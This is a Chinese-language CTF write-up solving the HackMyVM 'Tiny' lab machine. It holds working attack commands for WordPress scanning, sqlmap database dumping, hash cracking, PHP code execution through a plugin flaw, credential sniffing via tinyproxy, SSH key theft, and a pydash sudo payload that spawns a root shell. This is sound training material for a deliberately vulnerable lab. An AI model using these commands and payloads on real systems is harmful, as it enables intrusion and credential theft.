hackmyvm-tiny

https://hackmyvm.eu/machines/machine.php?vm=Tiny

靶机 攻击机
IP 192.168.31.227 192.168.31.80

信息收集

image-20240221185519642

在HOSTS或/etc/hosts中加上这一句:

192.168.31.227 tiny.hmv

开放了22、80、8888端口

80端口存在robots.txt

用的是wordpress

cmseek

cmseek扫描:

cmseek -u http://192.168.31.227

image-20240221185905994

wpscan

wpscan扫描:

wpscan --api-token <替换为自己的api-token> --url http://192.168.31.227

image-20241014104529448

image-20240221191200128

枚举一下用户名:

wpscan --api-token <替换为自己的api-token> --url http://192.168.31.227 -e u

image-20240221200511254

两个用户admin和umeko

看robots.txt:

image-20240221192306188

貌似也没什么 ×

image-20240221211024895

wfuzz 爆破子域名

有子域名wish.tiny.hmv

那就爆一下子域名:

wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u tiny.hmv -H "Host: FUZZ.tiny.hmv"

image-20240221192959062

啊这没爆出来。。

ffuf 爆破子域名

得换个字典了:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u 'http://tiny.hmv' -H 'HOST:FUZZ.tiny.hmv' --fs 24176  # 24176为Size

image-20240221211827287

其实最后得到的是wish.tiny.hmv子域名

grep -n -r '^wish$' /usr/share/seclists

这就不跑了,直接改hosts文件

直接访问http://wish.tiny.hmv/

image-20240221193623570

发现了一个登陆框

sqlmap

抓包后测试:

image-20240221193841138

image-20240221193925701

加上单引号前后的返回不同,故判断存在盲注型SQL注入

直接抓包让sqlmap跑:

image-20240221194350698

sqlmap -l 12 --batch --dbs

image-20240221194446519

sqlmap -l 12 --batch -D wish_db --tables

image-20240221194653285

sqlmap -l 12 --batch -D wish_db -T admin --columns

image-20240221195014135

sqlmap -l 12 --batch -D wish_db -T admin -C "username,password" --dump

image-20240221195333303

umeko    | 8df4387dd1598d4dcf237f9443028cec
john tmp --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5

image-20240221195648665

或者拿去cmd5网站解密

这里得到密码是fuckit!

即 umeko / fuckit!

拿到http://tiny.hmv/wp-admin登录

wpscan-插件漏洞

进入之后没思路,就继续用wpscan扫

扫插件的漏洞:

wpscan --api-token <替换为自己的api-token> --url http://192.168.31.227 -e vp --plugins-detection aggressive

这里的vp表示Vulnerable plugins,具体的可看wpscan -h

ap就是所有的插件

image-20240221201251544

说明是CVE-2023-5201漏洞,漏洞描述:https://wpscan.com/vulnerability/5bd9fbd2-26ea-404a-aba7-f0c457a082b6/?__cf_chl_rt_tk=3MxFU35kiVlugIpfvmJWGCFbP2yv6VsJ1BLSZpqU9d8-1708517736-0.0-4455

漏洞利用:

image-20240221204039044

点那个Welcome就进入编辑页面:

image-20240221204123355

[php]
<?php phpinfo();?>
[/php]

编辑完后update,然后view post

image-20240221204228646

发现执行了代码

注:经测试,文章的author 必须是 admin

之后就是常规的连蚁剑弹shell了

image-20240221204654656

但是发现了报错

直接弹shell:

image-20240221204805507

image-20240221204840236

成功接收

优化shell:

image-20240221205036422

# 查看运行的端口
ss -tlnp

image-20240221212359213

发现有个本地的8000端口,用socat转发到8080来便于访问:

socat tcp-listen:8080,reuseaddr,fork tcp:127.0.0.1:8000

访问8080端口后发现登录框:
image-20240221212717315

需要用户名和密码

tinyproxy服务

接着看看nmap的结果,发现8888端口有个tinyproxy服务

pspy64

接着上传pspy64运行,发现有如下进程:

image-20240221213410796

image-20240221213316830

查看这个tinyproxy服务的配置文件:

cd /etc/tinyproxy
cat tinyproxy.conf| grep -v '^#' | grep -v '^$'
User tinyproxy
Group tinyproxy
Port 8888
Timeout 600
DefaultErrorFile "/usr/share/tinyproxy/default.html"
StatFile "/usr/share/tinyproxy/stats.html"
LogFile "/var/log/tinyproxy/tinyproxy.log"
LogLevel Info
PidFile "/run/tinyproxy/tinyproxy.pid"
Upstream http localhost:1111
MaxClients 100
Allow 127.0.0.1
Allow ::1
Allow 192.168.0.30
ViaProxyName "tinyproxy"

内容解释:

这段配置信息是针对Tinyproxy的,一个轻量级的HTTP代理服务器,广泛用于为小型网络提供代理服务和缓存支持。下面是对每个配置项的详细解释:

User tinyproxy: 这指定了Tinyproxy进程运行时使用的用户身份。出于安全原因,通常不建议以root用户运行网络服务。

Group tinyproxy: 这指定了Tinyproxy进程运行时使用的组身份。这有助于限制该进程的系统资源访问权限。

Port 8888: Tinyproxy将监听此端口,等待进来的HTTP请求。8888是这里配置的端口号,但可以根据需要更改。

Timeout 600: 这是客户端连接超时时间,单位是秒。如果一个连接在指定时间内没有活动,Tinyproxy将关闭该连接。

DefaultErrorFile "/usr/share/tinyproxy/default.html": 当发生错误时,Tinyproxy将向客户端显示这个HTML文件。这里指定了错误页面的路径。

StatFile "/usr/share/tinyproxy/stats.html": 这个文件用于显示Tinyproxy的统计信息,包括请求的数量等。

LogFile "/var/log/tinyproxy/tinyproxy.log": 这指定了Tinyproxy日志文件的存储位置,用于记录运行时的各种信息和错误。

LogLevel Info: 这定义了日志记录的详细程度。等级"Info"表示会记录一般的信息。还有其他级别,如Debug、Warning和Error。

PidFile "/run/tinyproxy/tinyproxy.pid": 这个文件用于存储Tinyproxy主进程的进程ID(PID),通常用于脚本中控制启动和停止服务。

Upstream http localhost:1111: 这是上游代理设置,意味着所有通过Tinyproxy的请求都会被转发到指定的上游代理服务器(在这个例子中是运行在localhost上的另一个代理,监听1111端口)。

MaxClients 100: 这限制了最大并发客户端连接数。在此配置中,最多100个客户端可以同时通过Tinyproxy访问。

Allow 127.0.0.1: 这指定了哪些IP地址被允许使用代理。127.0.0.1表示只有从本地机器上发出的请求被允许。

Allow ::1: 这同样是IP地址许可设置,但针对的是IPv6的本地回环地址。

Allow 192.168.0.30: 允许来自IP地址192.168.0.30的设备使用这个代理。这可以用于允许特定的内网设备通过代理访问外部网络。

ViaProxyName "tinyproxy": 当请求通过Tinyproxy代理时,Via头部会被添加到HTTP请求中,ViaProxyName的值就是这个头部的值。这用于追踪HTTP请求是如何被转发的。在此配置中,通过Tinyproxy的所有请求都会添加一个Via: tinyproxy的头部,表明这个请求是通过Tinyproxy转发的。

重要的几项:

Port 8888: Tinyproxy将监听此端口,等待进来的HTTP请求。8888是这里配置的端口号,但可以根据需要更改。

Upstream http localhost:1111: 这是上游代理设置,意味着所有通过Tinyproxy的请求都会被转发到指定的上游代理服务器(在这个例子中是运行在localhost上的另一个代理,监听1111端口)。

这里由tinyproxy监听的8888转发到本地的1111端口,来看看本地的1111收到的是什么:

www-data@tiny:/etc/tinyproxy$ nc -lvp 1111
listening on [any] 1111 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 36894
GET http://127.0.0.1:8000/id_rsa HTTP/1.1 # 注意这里还有id_rsa
Host: 127.0.0.1:8000
Connection: close
Via: 1.1 tinyproxy (tinyproxy/1.11.1)
Authorization: Basic cm9vdDpRMlg0OXQ0V2pz   # 注意这里的cm9vdDpRMlg0OXQ0V2pz
User-Agent: curl/7.88.1
Accept: */*

将cm9vdDpRMlg0OXQ0V2pz进行base64解码后为:

root:Q2X49t4Wjs

再来看nginx的配置文件下有什么:
image-20240221214542184

www-data@tiny:/etc/nginx$ cat .htpasswd 
root:$apr1$mTQVB6Ga$hUpGEKaumDOxGaccDABRj0

解析:

这个字符串是一个加密后的密码,使用的是Apache的MD5算法版本(通常表示为apr1)。这种格式常见于Unix和Linux系统中用于存储密码,例如在.htpasswd文件中用于Apache HTTP服务器的基本认证,或在其他需要保存加密密码的场景。

解析这个字符串的各个部分:

root: 这是用户名,表明这个密码是为root用户设置的。

$apr1$: 这部分指示使用的加密算法是Apache的MD5算法。

mTQVB6Ga: 这是“salt”值,一个随机生成的字符串,用于增加加密过程的复杂性和安全性。在MD5算法中,salt和用户的明文密码结合在一起,然后进行加密,这样即使两个用户有相同的密码,由于salt不同,他们的加密密码也会不同。

hUpGEKaumDOxGaccDABRj0: 这是实际的加密密码,是用户密码加上salt之后,通过MD5加密算法加密生成的。

最后再来看8000端口被nginx怎么处理:

cd /etc/nginx
grep -n -r "8000"
cat sites-available/default |grep -v "^#" | grep -v "^$"

image-20240221220327825

server {
    listen 127.0.0.1:8000;
    server_name private.tiny.hmv;
    root /var/www/private;  
    location / {
        auth_basic "Restricted Content";
        auth_basic_user_file /etc/nginx/.htpasswd;
        try_files $uri $uri/ =404;
    }
}

综合这三处,说明字符串root:Q2X49t4Wjs 经过base64编码,经过盐为mTQVB6Ga的md5加密,生成hUpGEKaumDOxGaccDABRj0。

8000端口用上面的root:Q2X49t4Wjs来进行鉴权,符合后就能获得8000端口下的id_rsa文件

即:

socat tcp-listen:8080,reuseaddr,fork tcp:127.0.0.1:8000
访问http://192.168.31.227:8080/ 
账号密码为root:Q2X49t4Wjs
访问http://192.168.31.227:8080/获得私钥id_rsa

tldr socat

私钥登录

利用私钥:

image-20240221222501010

ssh2join id > tmp
chmod 600 id
ssh-keygen -y -f id # 提取公钥

从公钥中可知用户名为vic

事实上也可以不提取公钥,将中间那部分强行进行base64解码即可得到用户名:

image-20240221222831148

使用私钥登录:

ssh vic@192.168.31.227 -i id

image-20240221223043500

照例sudo提权

─vic@tiny ~ 
╰─$ sudo -l
Matching Defaults entries for vic on tiny:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User vic may run the following commands on tiny:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/car.py*

/opt/car.py内容:

╭─vic@tiny /opt 
╰─$ cat car.py  
import sys
import random
import pydash


class Car:
    def __init__(self, model, year):
        self.model = model
        self.year = year
        self.id = random.randint(1, 99999)

    def get_info(self, info_type):
        if info_type == "model":
            return self.model
        elif info_type == "year":
            return self.year
        elif info_type == "id":
            return self.id


def poc(path, arg):
    obj = Car('Sedan', 2011)
    res = pydash.objects.invoke(obj, path, arg)
    print(res)


if __name__ == '__main__':
    if len(sys.argv) < 3:
        print('Missing args: %s <path> <arg>' % sys.argv[0])
        sys.exit(1)
    poc(sys.argv[1], sys.argv[2])

根据res = pydash.objects.invoke(obj, path, arg)这部分,其中obj自己提供,path和arg我们可以添加

pydash漏洞

这是pydash有关的漏洞:https://github.com/advisories/GHSA-8mjr-6c96-39w8

poc:

sudo /usr/bin/python3 /opt/car.py __init__.__globals__.random._os.system bash

/opt/car.py.__init__.__globals__.random._os.system('bash')

跟模板注入相似,这里的/opt/car.py是对象

image-20240221224832417

提权成功

参考

https://mp.weixin.qq.com/s/6CCpRS78VFDvCMoXdW7-5g

https://www.bilibili.com/video/BV1pJ4m1x7mS?t=1.0

https://mikannse.space/2024/02/02/打靶记录(八二)之HMVTiny/

posted @   starme  阅读(32)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示